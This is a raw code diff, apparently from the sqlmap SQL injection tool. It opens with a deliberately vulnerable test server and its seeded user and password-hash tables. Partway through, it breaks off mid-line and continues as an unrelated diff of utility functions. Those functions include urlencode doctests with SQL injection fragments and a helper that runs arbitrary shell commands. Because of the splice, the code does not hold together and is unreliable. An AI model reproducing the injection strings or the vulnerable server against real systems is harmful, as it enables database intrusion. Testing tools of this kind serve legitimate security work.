unquote_plus +else: + from BaseHTTPServer import BaseHTTPRequestHandler + from BaseHTTPServer import HTTPServer + from httplib import INTERNAL_SERVER_ERROR + from httplib import NOT_FOUND + from httplib import OK + from SocketServer import ThreadingMixIn + from urlparse import parse_qs + from urllib import unquote_plus + +SCHEMA = """ + CREATE TABLE users ( + id INTEGER, + name TEXT, + surname TEXT, + PRIMARY KEY (id) + ); + INSERT INTO users (id, name, surname) VALUES (1, 'luther', 'blisset'); + INSERT INTO users (id, name, surname) VALUES (2, 'fluffy', 'bunny'); + INSERT INTO users (id, name, surname) VALUES (3, 'wu', 'ming'); + INSERT INTO users (id, name, surname) VALUES (4, NULL, 'nameisnull'); + INSERT INTO users (id, name, surname) VALUES (5, 'mark', 'lewis'); + INSERT INTO users (id, name, surname) VALUES (6, 'ada', 'lovelace'); + INSERT INTO users (id, name, surname) VALUES (7, 'grace', 'hopper'); + INSERT INTO users (id, name, surname) VALUES (8, 'alan', 'turing'); + INSERT INTO users (id, name, surname) VALUES (9, 'margaret','hamilton'); + INSERT INTO users (id, name, surname) VALUES (10, 'donald', 'knuth'); + INSERT INTO users (id, name, surname) VALUES (11, 'tim', 'bernerslee'); + INSERT INTO users (id, name, surname) VALUES (12, 'linus', 'torvalds'); + INSERT INTO users (id, name, surname) VALUES (13, 'ken', 'thompson'); + INSERT INTO users (id, name, surname) VALUES (14, 'dennis', 'ritchie'); + INSERT INTO users (id, name, surname) VALUES (15, 'barbara', 'liskov'); + INSERT INTO users (id, name, surname) VALUES (16, 'edsger', 'dijkstra'); + INSERT INTO users (id, name, surname) VALUES (17, 'john', 'mccarthy'); + INSERT INTO users (id, name, surname) VALUES (18, 'leslie', 'lamport'); + INSERT INTO users (id, name, surname) VALUES (19, 'niklaus', 'wirth'); + INSERT INTO users (id, name, surname) VALUES (20, 'bjarne', 'stroustrup'); + INSERT INTO users (id, name, surname) VALUES (21, 'guido', 'vanrossum'); + INSERT INTO users (id, name, surname) VALUES (22, 'brendan', 'eich'); + INSERT INTO users (id, name, surname) VALUES (23, 'james', 'gosling'); + INSERT INTO users (id, name, surname) VALUES (24, 'andrew', 'tanenbaum'); + INSERT INTO users (id, name, surname) VALUES (25, 'yukihiro','matsumoto'); + INSERT INTO users (id, name, surname) VALUES (26, 'radia', 'perlman'); + INSERT INTO users (id, name, surname) VALUES (27, 'katherine','johnson'); + INSERT INTO users (id, name, surname) VALUES (28, 'hady', 'lamarr'); + INSERT INTO users (id, name, surname) VALUES (29, 'frank', 'miller'); + INSERT INTO users (id, name, surname) VALUES (30, 'john', 'steward'); + + CREATE TABLE creds ( + user_id INTEGER, + password_hash TEXT, + FOREIGN KEY (user_id) REFERENCES users(id) + ); + INSERT INTO creds (user_id, password_hash) VALUES (1, 'db3a16990a0008a3b04707fdef6584a0'); + INSERT INTO creds (user_id, password_hash) VALUES (2, '4db967ce67b15e7fb84c266a76684729'); + INSERT INTO creds (user_id, password_hash) VALUES (3, 'f5a2950eaa10f9e99896800eacbe8275'); + INSERT INTO creds (user_id, password_hash) VALUES (4, NULL); + INSERT INTO creds (user_id, password_hash) VALUES (5, '179ad45c6ce2cb97cf1029e212046e81'); + INSERT INTO creds (user_id, password_hash) VALUES (6, '0f1e2d3c4b5a69788796a5b4c3d2e1f0'); + INSERT INTO creds (user_id, password_hash) VALUES (7, 'a1b2c3d4e5f60718293a4b5c6d7e8f90'); + INSERT INTO creds (user_id, password_hash) VALUES (8, '1a2b3c4d5e6f708192a3b4c5d6e7f809'); + INSERT INTO creds (user_id, password_hash) VALUES (9, '9f8e7d6c5b4a3928170605f4e3d2c1b0'); + INSERT INTO creds (user_id, password_hash) VALUES (10, '3c2d1e0f9a8b7c6d5e4f30291807f6e5'); + INSERT INTO creds (user_id, password_hash) VALUES (11, 'b0c1d2e3f405162738495a6b7c8d9eaf'); + INSERT INTO creds (user_id, password_hash) VALUES (12, '6e5d4c3b2a190807f6e5d4c3b2a1908f'); + INSERT INTO creds (user_id, password_hash) VALUES (13, '11223344556677889900aabbccddeeff'); + INSERT INTO creds (user_id, password_hash) VALUES (14, 'ffeeddccbbaa00998877665544332211'); + INSERT INTO creds (user_id, password_hash) VALUES (15, '1234567890abcdef1234567890abcdef'); + INSERT INTO creds (user_id, password_hash) VALUES (16, 'abcdef1234567890abcdef1234567890'); + INSERT INTO creds (user_id, password_hash) VALUES (17, '0a1b2c3d4e5f60718a9b0c1d2e3f4051'); + INSERT INTO creds (user_id, password_hash) VALUES (18, '51f04e3d2c1b0a9871605f4e3d2c1b0a'); + INSERT INTO creds (user_id, password_hash) VALUES (19, '89abcdef0123456789abcdef01234567'); + INSERT INTO creds (user_id, password_hash) VALUES (20, '76543210fedcba9876543210fedcba98'); + INSERT INTO creds (user_id, password_hash) VALUES (21, '13579bdf2468ace013579bdf2468ace0'); + INSERT INTO creds (user_id, password_hash) VALUES (22, '02468ace13579bdf02468ace13579bdf'); + INSERT INTO creds (user_id, password_hash) VALUES (23, 'deadbeefdeadbeefdeadbeefdeadbeef'); + INSERT INTO creds (user_id, password_hash) VALUES (24, 'cafebabecafebabecafebabecafebabe'); + INSERT INTO creds (user_id, password_hash) VALUES (25, '00112233445566778899aabbccddeeff'); + INSERT INTO creds (user_id, password_hash) VALUES (26, 'f0e1d2c3b4a5968778695a4b3c2d1e0f'); + INSERT INTO creds (user_id, password_hash) VALUES (27, '7f6e5d4c3b2a190807f6e5d4c3b2a190'); + INSERT INTO creds (user_id, password_hash) VALUES (28, '908f7e6d5c4b3a291807f6e5d4c3b2a1'); + INSERT INTO creds (user_id, password_hash) VALUES (29, '3049b791fa83e2f42f37bae18634b92d'); + INSERT INTO creds (user_id, password_hash) VALUES (30, 'd59a348f90d757c7da30418773424b5e'); +""" + +LISTEN_ADDRESS = "localhost" +LISTEN_PORT = 8440 + +_conn = None +_cursor = None +_lock = None +_server = None +_alive = False +_csrf_token = None + +def init(quiet=False): + global _conn + global _cursor + global _lock + global _csrf_token + + _csrf_token = "".join(random.sample(string.ascii_letters + string.digits, 20)) + + _conn = sqlite3.connect(":memory:", isolation_level=None, check_same_thread=False) + _cursor = _conn.cursor() + _lock = threading.Lock() + + _cursor.executescript(SCHEMA) + + if quiet: + global print + + def _(*args, **kwargs): + pass + + print = _ + +class ThreadingServer(ThreadingMixIn, HTTPServer): + def finish_request(self, *args, **kwargs): + try: + HTTPServer.finish_request(self, *args, **kwargs) + except Exception: + if DEBUG: + traceback.print_exc() + +class ReqHandler(BaseHTTPRequestHandler): + def do_REQUEST(self): + path, query = self.path.split('?', 1) if '?' in self.path else (self.path, "") + params = {} + + if query: + params.update(parse_qs(query)) + + if "||%s" % (r"|<[^>]+>|\t|\n|\r" if onlyText else ""), split, page) retVal = re.sub(r"%s{2,}" % split, split, retVal) - retVal = htmlunescape(retVal.strip().strip(split)) + retVal = htmlUnescape(retVal.strip().strip(split)) return retVal @@ -1897,21 +2254,24 @@ def getPageWordSet(page): """ Returns word set used in page content - >>> sorted(getPageWordSet(u'foobartest')) - [u'foobar', u'test'] + >>> sorted(getPageWordSet(u'foobartest')) == [u'foobar', u'test'] + True """ retVal = set() # only if the page's charset has been successfully identified - if isinstance(page, unicode): + if isinstance(page, six.string_types): retVal = set(_.group(0) for _ in re.finditer(r"\w+", getFilteredPageContent(page))) return retVal -def showStaticWords(firstPage, secondPage): +def showStaticWords(firstPage, secondPage, minLength=3): """ Prints words appearing in two different response pages + + >>> showStaticWords("this is a test", "this is another test") + ['this'] """ infoMsg = "finding static words in longest matching part of dynamic page content" @@ -1930,12 +2290,11 @@ def showStaticWords(firstPage, secondPage): commonWords = None if commonWords: - commonWords = list(commonWords) - commonWords.sort(lambda a, b: cmp(a.lower(), b.lower())) + commonWords = [_ for _ in commonWords if len(_) >= minLength] + commonWords.sort(key=functools.cmp_to_key(lambda a, b: cmp(a.lower(), b.lower()))) for word in commonWords: - if len(word) > 2: - infoMsg += "'%s', " % word + infoMsg += "'%s', " % word infoMsg = infoMsg.rstrip(", ") else: @@ -1943,6 +2302,8 @@ def showStaticWords(firstPage, secondPage): logger.info(infoMsg) + return commonWords + def isWindowsDriveLetterPath(filepath): """ Returns True if given filepath starts with a Windows drive letter @@ -1957,8 +2318,8 @@ def isWindowsDriveLetterPath(filepath): def posixToNtSlashes(filepath): """ - Replaces all occurrences of Posix slashes (/) in provided - filepath with NT ones (\) + Replaces all occurrences of Posix slashes in provided + filepath with NT backslashes >>> posixToNtSlashes('C:/Windows') 'C:\\\\Windows' @@ -1968,10 +2329,10 @@ def posixToNtSlashes(filepath): def ntToPosixSlashes(filepath): """ - Replaces all occurrences of NT slashes (\) in provided - filepath with Posix ones (/) + Replaces all occurrences of NT backslashes in provided + filepath with Posix slashes - >>> ntToPosixSlashes('C:\\Windows') + >>> ntToPosixSlashes(r'C:\\Windows') 'C:/Windows' """ @@ -1989,17 +2350,13 @@ def isHexEncodedString(subject): return re.match(r"\A[0-9a-fA-Fx]+\Z", subject) is not None -def isMultiThreadMode(): - """ - Checks if running in multi-thread(ing) mode - """ - - return threading.activeCount() > 1 - @cachedmethod def getConsoleWidth(default=80): """ Returns console width + + >>> any((getConsoleWidth(), True)) + True """ width = None @@ -2008,16 +2365,11 @@ def getConsoleWidth(default=80): width = int(os.getenv("COLUMNS")) else: try: - try: - FNULL = open(os.devnull, 'w') - except IOError: - FNULL = None - process = subprocess.Popen("stty size", shell=True, stdout=subprocess.PIPE, stderr=FNULL or subprocess.PIPE) - stdout, _ = process.communicate() - items = stdout.split() + output = shellExec("stty size") + match = re.search(r"\A\d+ (\d+)", output) - if len(items) == 2 and items[1].isdigit(): - width = int(items[1]) + if match: + width = int(match.group(1)) except (OSError, MemoryError): pass @@ -2033,23 +2385,42 @@ def getConsoleWidth(default=80): return width or default -def clearConsoleLine(forceOutput=False): +def shellExec(cmd): """ - Clears current console line + Executes arbitrary shell command + + >>> shellExec('echo 1').strip() == '1' + True """ - if getattr(LOGGER_HANDLER, "is_tty", False): - dataToStdout("\r%s\r" % (" " * (getConsoleWidth() - 1)), forceOutput) + retVal = "" - kb.prependFlag = False + try: + retVal = subprocess.Popen(cmd, shell=True, stdout=subprocess.PIPE, stderr=subprocess.STDOUT).communicate()[0] or "" + except Exception as ex: + retVal = getSafeExString(ex) + finally: + retVal = getText(retVal) -def parseXmlFile(xmlFile, handler): - """ + return retVal + +def clearConsoleLine(forceOutput=False): + """ + Clears current console line + """ + + if IS_TTY: + dataToStdout("\r%s\r" % (" " * (getConsoleWidth() - 1)), forceOutput) + + kb.prependFlag = False + +def parseXmlFile(xmlFile, handler): + """ Parses XML file by a given handler """ try: - with contextlib.closing(StringIO(readCachedFileContent(xmlFile))) as stream: + with contextlib.closing(io.StringIO(readCachedFileContent(xmlFile))) as stream: parse(stream, handler) except (SAXParseException, UnicodeError) as ex: errMsg = "something appears to be wrong with " @@ -2102,7 +2473,7 @@ def getSQLSnippet(dbms, sfile, **variables): return retVal -def readCachedFileContent(filename, mode="rb"): +def readCachedFileContent(filename, mode='r'): """ Cached reading of file content (avoiding multiple same file reading) @@ -2124,22 +2495,12 @@ def readCachedFileContent(filename, mode="rb"): return kb.cache.content[filename] -def readXmlFile(xmlFile): - """ - Reads XML file content and returns its DOM representation - """ - - checkFile(xmlFile) - retVal = minidom.parse(xmlFile).documentElement - - return retVal - def average(values): """ Computes the arithmetic mean of a list of numbers. - >>> average([0.9, 0.9, 0.9, 1.0, 0.8, 0.9]) - 0.9 + >>> "%.1f" % average([0.9, 0.9, 0.9, 1.0, 0.8, 0.9]) + '0.9' """ return (1.0 * sum(values) / len(values)) if values else None @@ -2148,10 +2509,11 @@ def average(values): def stdev(values): """ Computes standard deviation of a list of numbers. - Reference: http://www.goldb.org/corestats.html - >>> stdev([0.9, 0.9, 0.9, 1.0, 0.8, 0.9]) - 0.06324555320336757 + # Reference: http://www.goldb.org/corestats.html + + >>> "%.3f" % stdev([0.9, 0.9, 0.9, 1.0, 0.8, 0.9]) + '0.063' """ if not values or len(values) < 2: @@ -2183,7 +2545,7 @@ def initCommonOutputs(): key = None with openFile(paths.COMMON_OUTPUTS, 'r') as f: - for line in f.readlines(): # xreadlines doesn't return unicode strings when codec.open() is used + for line in f: if line.find('#') != -1: line = line[:line.find('#')] @@ -2202,6 +2564,9 @@ def initCommonOutputs(): def getFileItems(filename, commentPrefix='#', unicoded=True, lowercase=False, unique=False): """ Returns newline delimited items contained inside file + + >>> "SELECT" in getFileItems(paths.SQL_KEYWORDS) + True """ retVal = list() if not unique else OrderedDict() @@ -2213,7 +2578,7 @@ def getFileItems(filename, commentPrefix='#', unicoded=True, lowercase=False, un try: with openFile(filename, 'r', errors="ignore") if unicoded else open(filename, 'r') as f: - for line in (f.readlines() if unicoded else f.xreadlines()): # xreadlines doesn't return unicode strings when codec.open() is used + for line in f: if commentPrefix: if line.find(commentPrefix) != -1: line = line[:line.find(commentPrefix)] @@ -2295,7 +2660,7 @@ def goGoodSamaritan(prevValue, originalCharset): # Split the original charset into common chars (commonCharset) # and other chars (otherCharset) for ordChar in originalCharset: - if chr(ordChar) not in predictionSet: + if _unichr(ordChar) not in predictionSet: otherCharset.append(ordChar) else: commonCharset.append(ordChar) @@ -2308,8 +2673,8 @@ def goGoodSamaritan(prevValue, originalCharset): def getPartRun(alias=True): """ - Goes through call stack and finds constructs matching conf.dbmsHandler.*. - Returns it or its alias used in 'txt/common-outputs.txt' + Goes through call stack and finds constructs matching + conf.dbmsHandler.*. Returns it or its alias used in 'txt/common-outputs.txt' """ retVal = None @@ -2343,45 +2708,11 @@ def getPartRun(alias=True): else: return retVal -def getUnicode(value, encoding=None, noneToNull=False): - """ - Return the unicode representation of the supplied value: - - >>> getUnicode(u'test') - u'test' - >>> getUnicode('test') - u'test' - >>> getUnicode(1) - u'1' - """ - - if noneToNull and value is None: - return NULL - - if isinstance(value, unicode): - return value - elif isinstance(value, basestring): - while True: - try: - return unicode(value, encoding or (kb.get("pageEncoding") if kb.get("originalPage") else None) or UNICODE_ENCODING) - except UnicodeDecodeError as ex: - try: - return unicode(value, UNICODE_ENCODING) - except: - value = value[:ex.start] + "".join(INVALID_UNICODE_CHAR_FORMAT % ord(_) for _ in value[ex.start:ex.end]) + value[ex.end:] - elif isListLike(value): - value = list(getUnicode(_, encoding, noneToNull) for _ in value) - return value - else: - try: - return unicode(value) - except UnicodeDecodeError: - return unicode(str(value), errors="ignore") # encoding ignored for non-basestring instances - def longestCommonPrefix(*sequences): """ Returns longest common prefix occuring in given sequences - Reference: http://boredzo.org/blog/archives/2007-01-06/longest-common-prefix-in-python-2 + + # Reference: http://boredzo.org/blog/archives/2007-01-06/longest-common-prefix-in-python-2 >>> longestCommonPrefix('foobar', 'fobar') 'fo' @@ -2405,14 +2736,21 @@ def longestCommonPrefix(*sequences): return sequences[0] def commonFinderOnly(initial, sequence): - return longestCommonPrefix(*filter(lambda _: _.startswith(initial), sequence)) + """ + Returns parts of sequence which start with the given initial string + + >>> commonFinderOnly("abcd", ["abcdefg", "foobar", "abcde"]) + 'abcde' + """ + + return longestCommonPrefix(*[_ for _ in sequence if _.startswith(initial)]) def pushValue(value): """ Push value to the stack (thread dependent) """ - _ = None + exception = None success = False for i in xrange(PUSH_VALUE_EXCEPTION_RETRY_COUNT): @@ -2421,13 +2759,13 @@ def pushValue(value): success = True break except Exception as ex: - _ = ex + exception = ex if not success: getCurrentThreadData().valueStack.append(None) - if _: - raise _ + if exception: + raise exception def popValue(): """ @@ -2438,7 +2776,14 @@ def popValue(): 'foobar' """ - return getCurrentThreadData().valueStack.pop() + retVal = None + + try: + retVal = getCurrentThreadData().valueStack.pop() + except IndexError: + pass + + return retVal def wasLastResponseDBMSError(): """ @@ -2472,7 +2817,7 @@ def wasLastResponseDelayed(): if len(kb.responseTimes[kb.responseTimeMode]) < MIN_TIME_RESPONSES: warnMsg = "time-based standard deviation method used on a model " warnMsg += "with less than %d response times" % MIN_TIME_RESPONSES - logger.warn(warnMsg) + logger.warning(warnMsg) lowerStdLimit = average(kb.responseTimes[kb.responseTimeMode]) + TIME_STDEV_COEFF * deviation retVal = (threadData.lastQueryDuration >= max(MIN_VALID_DELAYED_RESPONSE, lowerStdLimit)) @@ -2498,12 +2843,12 @@ def adjustTimeDelay(lastQueryDuration, lowerStdLimit): Provides tip for adjusting time delay in time-based data retrieval """ - candidate = 1 + int(round(lowerStdLimit)) + candidate = (1 if not isHeavyQueryBased() else 2) + int(round(lowerStdLimit)) - if candidate: - kb.delayCandidates = [candidate] + kb.delayCandidates[:-1] + kb.delayCandidates = [candidate] + kb.delayCandidates[:-1] - if all((_ == candidate for _ in kb.delayCandidates)) and candidate < conf.timeSec: + if all((_ == candidate for _ in kb.delayCandidates)) and candidate < conf.timeSec: + if lastQueryDuration / (1.0 * conf.timeSec / candidate) > MIN_VALID_DELAYED_RESPONSE: # Note: to prevent problems with fast responses for heavy-queries like RANDOMBLOB conf.timeSec = candidate infoMsg = "adjusting time delay to " @@ -2522,19 +2867,32 @@ def extractErrorMessage(page): """ Returns reported error message from page if it founds one - >>> extractErrorMessage(u'Test\\nWarning: oci_parse() [function.oci-parse]: ORA-01756: quoted string not properly terminated

Only a test page

') - u'oci_parse() [function.oci-parse]: ORA-01756: quoted string not properly terminated' + >>> getText(extractErrorMessage(u'Test\\nWarning: oci_parse() [function.oci-parse]: ORA-01756: quoted string not properly terminated

Only a test page

') ) + 'oci_parse() [function.oci-parse]: ORA-01756: quoted string not properly terminated' + >>> extractErrorMessage('Warning: This is only a dummy foobar test') is None + True """ retVal = None - if isinstance(page, basestring): + if isinstance(page, six.string_types): + if wasLastResponseDBMSError(): + page = re.sub(r"<[^>]+>", "", page) + for regex in ERROR_PARSING_REGEXES: - match = re.search(regex, page, re.DOTALL | re.IGNORECASE) + match = re.search(regex, page, re.IGNORECASE) if match: - retVal = htmlunescape(match.group("result")).replace("
", "\n").strip() - break + candidate = htmlUnescape(match.group("result")).replace("
", "\n").strip() + if candidate and (1.0 * len(re.findall(r"[^A-Za-z,. ]", candidate)) / len(candidate) > MIN_ERROR_PARSING_NON_WRITING_RATIO): + retVal = candidate + break + + if not retVal and wasLastResponseDBMSError(): + match = re.search(r"[^\n]*SQL[^\n:]*:[^\n]*", page, re.IGNORECASE) + + if match: + retVal = match.group(0) return retVal @@ -2573,56 +2931,51 @@ def findMultipartPostBoundary(post): """ retVal = None - - done = set() - candidates = [] + counts = {} for match in re.finditer(r"(?m)^--(.+?)(--)?$", post or ""): - _ = match.group(1).strip().strip('-') - - if _ in done: - continue - else: - candidates.append((post.count(_), _)) - done.add(_) + boundary = match.group(1).strip().strip('-') + counts[boundary] = counts.get(boundary, 0) + 1 - if candidates: - candidates.sort(key=lambda _: _[0], reverse=True) - retVal = candidates[0][1] + if counts: + sorted_boundaries = sorted(counts.items(), key=lambda x: x[1], reverse=True) + retVal = sorted_boundaries[0][0] return retVal -def urldecode(value, encoding=None, unsafe="%%&=;+%s" % CUSTOM_INJECTION_MARK_CHAR, convall=False, spaceplus=True): +def urldecode(value, encoding=None, unsafe="%%?&=;+%s" % CUSTOM_INJECTION_MARK_CHAR, convall=False, spaceplus=True): """ URL decodes given value - >>> urldecode('AND%201%3E%282%2B3%29%23', convall=True) - u'AND 1>(2+3)#' + >>> urldecode('AND%201%3E%282%2B3%29%23', convall=True) == 'AND 1>(2+3)#' + True + >>> urldecode('AND%201%3E%282%2B3%29%23', convall=False) == 'AND 1>(2%2B3)#' + True + >>> urldecode(b'AND%201%3E%282%2B3%29%23', convall=False) == 'AND 1>(2%2B3)#' + True """ result = value if value: - try: - # for cases like T%C3%BCrk%C3%A7e - value = str(value) - except ValueError: - pass - finally: - if convall: - result = urllib.unquote_plus(value) if spaceplus else urllib.unquote(value) - else: - def _(match): - charset = reduce(lambda x, y: x.replace(y, ""), unsafe, string.printable) - char = chr(ord(match.group(1).decode("hex"))) - return char if char in charset else match.group(0) - result = value - if spaceplus: - result = result.replace('+', ' ') # plus sign has a special meaning in URL encoded data (hence the usage of urllib.unquote_plus in convall case) - result = re.sub(r"%([0-9a-fA-F]{2})", _, result) - - if isinstance(result, str): - result = unicode(result, encoding or UNICODE_ENCODING, "replace") + value = getUnicode(value) + + if convall: + result = _urllib.parse.unquote_plus(value) if spaceplus else _urllib.parse.unquote(value) + else: + result = value + charset = set(string.printable) - set(unsafe) + + def _(match): + char = decodeHex(match.group(1), binary=False) + return char if char in charset else match.group(0) + + if spaceplus: + result = result.replace('+', ' ') # plus sign has a special meaning in URL encoded data (hence the usage of _urllib.parse.unquote_plus in convall case) + + result = re.sub(r"%([0-9a-fA-F]{2})", _, result or "") + + result = getUnicode(result, encoding or UNICODE_ENCODING) return result @@ -2632,6 +2985,12 @@ def urlencode(value, safe="%&=-_", convall=False, limit=False, spaceplus=False): >>> urlencode('AND 1>(2+3)#') 'AND%201%3E%282%2B3%29%23' + >>> urlencode("AND COUNT(SELECT name FROM users WHERE name LIKE '%DBA%')>0") + 'AND%20COUNT%28SELECT%20name%20FROM%20users%20WHERE%20name%20LIKE%20%27%25DBA%25%27%29%3E0' + >>> urlencode("AND COUNT(SELECT name FROM users WHERE name LIKE '%_SYSTEM%')>0") + 'AND%20COUNT%28SELECT%20name%20FROM%20users%20WHERE%20name%20LIKE%20%27%25_SYSTEM%25%27%29%3E0' + >>> urlencode("SELECT NAME FROM TABLE WHERE VALUE LIKE '%SOME%BEGIN%'") + 'SELECT%20NAME%20FROM%20TABLE%20WHERE%20VALUE%20LIKE%20%27%25SOME%25BEGIN%25%27' """ if conf.get("direct"): @@ -2641,6 +3000,8 @@ def urlencode(value, safe="%&=-_", convall=False, limit=False, spaceplus=False): result = None if value is None else "" if value: + value = re.sub(r"\b[$\w]+=", lambda match: match.group(0).replace('$', DOLLAR_MARKER), value) + if Backend.isDbms(DBMS.MSSQL) and not kb.tamperFunctions and any(ord(_) > 255 for _ in value): warnMsg = "if you experience problems with " warnMsg += "non-ASCII identifier names " @@ -2654,10 +3015,11 @@ def urlencode(value, safe="%&=-_", convall=False, limit=False, spaceplus=False): # encoded (when not representing URL encoded char) # except in cases when tampering scripts are used if all('%' in _ for _ in (safe, value)) and not kb.tamperFunctions: + value = re.sub(r"(?i)\bLIKE\s+'[^']+'", lambda match: match.group(0).replace('%', "%25"), value) value = re.sub(r"%(?![0-9a-fA-F]{2})", "%25", value) while True: - result = urllib.quote(utf8encode(value), safe) + result = _urllib.parse.quote(getBytes(value), safe) if limit and len(result) > URLENCODE_CHAR_LIMIT: if count >= len(URLENCODE_FAILSAFE_CHARS): @@ -2672,7 +3034,9 @@ def urlencode(value, safe="%&=-_", convall=False, limit=False, spaceplus=False): break if spaceplus: - result = result.replace(urllib.quote(' '), '+') + result = result.replace(_urllib.parse.quote(' '), '+') + + result = result.replace(DOLLAR_MARKER, '$') return result @@ -2686,13 +3050,13 @@ def runningAsAdmin(): if PLATFORM in ("posix", "mac"): _ = os.geteuid() - isAdmin = isinstance(_, (int, float, long)) and _ == 0 + isAdmin = isinstance(_, (float, six.integer_types)) and _ == 0 elif IS_WIN: import ctypes _ = ctypes.windll.shell32.IsUserAnAdmin() - isAdmin = isinstance(_, (int, float, long)) and _ == 1 + isAdmin = isinstance(_, (float, six.integer_types)) and _ == 1 else: errMsg = "sqlmap is not able to check if you are running it " errMsg += "as an administrator account on this platform. " @@ -2729,6 +3093,8 @@ def getPublicTypeMembers(type_, onlyValues=False): >>> [_ for _ in getPublicTypeMembers(OS, True)] ['Linux', 'Windows'] + >>> [_ for _ in getPublicTypeMembers(PAYLOAD.TECHNIQUE, True)] + [1, 2, 3, 4, 5, 6] """ retVal = [] @@ -2767,11 +3133,16 @@ def extractRegexResult(regex, content, flags=0): >>> extractRegexResult(r'a(?P[^g]+)g', 'abcdefg') 'bcdef' + >>> extractRegexResult(r'a(?P[^g]+)g', 'ABCDEFG', re.I) + 'BCDEF' """ retVal = None if regex and content and "?P" in regex: + if isinstance(content, six.binary_type) and isinstance(regex, six.text_type): + regex = getBytes(regex) + match = re.search(regex, content, flags) if match: @@ -2783,8 +3154,8 @@ def extractTextTagContent(page): """ Returns list containing content from "textual" tags - >>> extractTextTagContent(u'Title
foobar
Link') - [u'Title', u'foobar'] + >>> extractTextTagContent('Title
foobar
Link') + ['Title', 'foobar'] """ page = page or "" @@ -2795,14 +3166,14 @@ def extractTextTagContent(page): except MemoryError: page = page.replace(REFLECTED_VALUE_MARKER, "") - return filter(None, (_.group("result").strip() for _ in re.finditer(TEXT_TAG_REGEX, page))) + return filterNone(_.group("result").strip() for _ in re.finditer(TEXT_TAG_REGEX, page)) def trimAlphaNum(value): """ Trims alpha numeric characters from start and ending of a given value - >>> trimAlphaNum(u'AND 1>(2+3)-- foobar') - u' 1>(2+3)-- ' + >>> trimAlphaNum('AND 1>(2+3)-- foobar') + ' 1>(2+3)-- ' """ while value and value[-1].isalnum(): @@ -2825,9 +3196,18 @@ def isNumPosStrValue(value): False >>> isNumPosStrValue('-2') False + >>> isNumPosStrValue('100000000000000000000') + False """ - return (value and isinstance(value, basestring) and value.isdigit() and int(value) > 0) or (isinstance(value, int) and value > 0) + retVal = False + + try: + retVal = ((hasattr(value, "isdigit") and value.isdigit() and int(value) > 0) or (isinstance(value, int) and value > 0)) and int(value) < MAX_INT + except ValueError: + pass + + return retVal @cachedmethod def aliasToDbmsEnum(dbms): @@ -2864,7 +3244,7 @@ def findDynamicContent(firstPage, secondPage): infoMsg = "searching for dynamic content" singleTimeLogMessage(infoMsg) - blocks = SequenceMatcher(None, firstPage, secondPage).get_matching_blocks() + blocks = list(SequenceMatcher(None, firstPage, secondPage).get_matching_blocks()) kb.dynamicMarkings = [] # Removing too small matching blocks @@ -2893,13 +3273,15 @@ def findDynamicContent(firstPage, secondPage): prefix = prefix[-DYNAMICITY_BOUNDARY_LENGTH:] suffix = suffix[:DYNAMICITY_BOUNDARY_LENGTH] - infix = max(re.search(r"(?s)%s(.+)%s" % (re.escape(prefix), re.escape(suffix)), _) for _ in (firstPage, secondPage)).group(1) - - if infix[0].isalnum(): - prefix = trimAlphaNum(prefix) - - if infix[-1].isalnum(): - suffix = trimAlphaNum(suffix) + for _ in (firstPage, secondPage): + match = re.search(r"(?s)%s(.+)%s" % (re.escape(prefix), re.escape(suffix)), _) + if match: + infix = match.group(1) + if infix[0].isalnum(): + prefix = trimAlphaNum(prefix) + if infix[-1].isalnum(): + suffix = trimAlphaNum(suffix) + break kb.dynamicMarkings.append((prefix if prefix else None, suffix if suffix else None)) @@ -2933,8 +3315,8 @@ def filterStringValue(value, charRegex, replacement=""): Returns string value consisting only of chars satisfying supplied regular expression (note: it has to be in form [...]) - >>> filterStringValue(u'wzydeadbeef0123#', r'[0-9a-f]') - u'deadbeef0123' + >>> filterStringValue('wzydeadbeef0123#', r'[0-9a-f]') + 'deadbeef0123' """ retVal = value @@ -2948,83 +3330,200 @@ def filterControlChars(value, replacement=' '): """ Returns string value with control chars being supstituted with replacement character - >>> filterControlChars(u'AND 1>(2+3)\\n--') - u'AND 1>(2+3) --' + >>> filterControlChars('AND 1>(2+3)\\n--') + 'AND 1>(2+3) --' """ return filterStringValue(value, PRINTABLE_CHAR_REGEX, replacement) -def isDBMSVersionAtLeast(version): +def filterNone(values): """ - Checks if the recognized DBMS version is at least the version - specified + Emulates filterNone([...]) functionality + + >>> filterNone([1, 2, "", None, 3, 0]) + [1, 2, 3, 0] + """ + + retVal = values + + if isinstance(values, _collections.Iterable): + retVal = [_ for _ in values if _ or _ == 0] + + return retVal + +def isDBMSVersionAtLeast(minimum): + """ + Checks if the recognized DBMS version is at least the version specified + + >>> pushValue(kb.dbmsVersion) + >>> kb.dbmsVersion = "2" + >>> isDBMSVersionAtLeast("1.3.4.1.4") + True + >>> isDBMSVersionAtLeast(2.1) + False + >>> isDBMSVersionAtLeast(">2") + False + >>> isDBMSVersionAtLeast(">=2.0") + True + >>> kb.dbmsVersion = "<2" + >>> isDBMSVersionAtLeast("2") + False + >>> isDBMSVersionAtLeast("1.5") + True + >>> kb.dbmsVersion = "MySQL 5.4.3-log4" + >>> isDBMSVersionAtLeast("5") + True + >>> kb.dbmsVersion = popValue() """ retVal = None - if Backend.getVersion() and Backend.getVersion() != UNKNOWN_DBMS_VERSION: - value = Backend.getVersion().replace(" ", "").rstrip('.') + if not any(isNoneValue(_) for _ in (Backend.getVersion(), minimum)) and Backend.getVersion() != UNKNOWN_DBMS_VERSION: + version = Backend.getVersion().replace(" ", "").rstrip('.') - while True: - index = value.find('.', value.find('.') + 1) + correction = 0.0 + if ">=" in version: + pass + elif '>' in version: + correction = VERSION_COMPARISON_CORRECTION + elif '<' in version: + correction = -VERSION_COMPARISON_CORRECTION - if index > -1: - value = value[0:index] + value[index + 1:] - else: - break + version = extractRegexResult(r"(?P[0-9][0-9.]*)", version) + + if version: + if '.' in version: + parts = version.split('.', 1) + parts[1] = filterStringValue(parts[1], '[0-9]') + version = '.'.join(parts) - value = filterStringValue(value, '[0-9.><=]') + try: + version = float(filterStringValue(version, '[0-9.]')) + correction + except ValueError: + return None + + if isinstance(minimum, six.string_types): + if '.' in minimum: + parts = minimum.split('.', 1) + parts[1] = filterStringValue(parts[1], '[0-9]') + minimum = '.'.join(parts) + + correction = 0.0 + if minimum.startswith(">="): + pass + elif minimum.startswith(">"): + correction = VERSION_COMPARISON_CORRECTION - if value and isinstance(value, basestring): - if value.startswith(">="): - value = float(value.replace(">=", "")) - elif value.startswith(">"): - value = float(value.replace(">", "")) + 0.01 - elif value.startswith("<="): - value = float(value.replace("<=", "")) - elif value.startswith(">"): - value = float(value.replace("<", "")) - 0.01 + minimum = float(filterStringValue(minimum, '[0-9.]')) + correction - retVal = 